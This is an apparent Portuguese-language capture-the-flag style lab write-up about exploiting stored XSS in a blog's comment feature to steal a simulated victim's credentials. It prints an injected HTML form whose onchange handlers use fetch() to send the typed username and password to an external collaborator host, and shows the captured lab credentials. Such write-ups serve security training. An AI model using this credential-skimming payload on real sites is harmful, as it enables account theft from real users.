> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/password-capture-via-xss.md).

# Captura de senha via XSS

### Explorando Cross-site Scripting para Capturar Senhas

Este laboratório contém uma vulnerabilidade de XSS persistente no recurso de comentários do blog. Um usuário simulado (vítima) consulta todos os comentários após a publicação. O objetivo educacional é explorar essa falha para exfiltrar o nome de usuário e a senha da vítima e então conectar-se com essas credenciais.

Um pequeno formulário é injetado em um comentário. Quando a vítima insere suas informações, `fetch()` as requisições enviam os valores para uma URL controlada pelo invasor, permitindo capturar as credenciais.

Formulário injetado

```html
Usuário:
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Senha:
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* O formulário acima aciona o envio de `nome de usuário` e `senha` dos campos para a URL ouvindo a cada modificação (`onchange`).

<figure><img src="/files/acd1d87f5978d1f5c02a5ba198e6fd234f353ff8" alt=""><figcaption></figcaption></figure>

Credenciais capturadas:

* **Nome de usuário:** `administrador`

<figure><img src="/files/9e9f56b69f8fe000b53e2b023168d82dd251b3ad" alt=""><figcaption></figcaption></figure>

* **Senha:** `qzkcz73zlwri7yiwpf31`

<figure><img src="/files/301d31139a88c222d5e56e8149a7b63e3a40dd0a" alt=""><figcaption></figcaption></figure>


---

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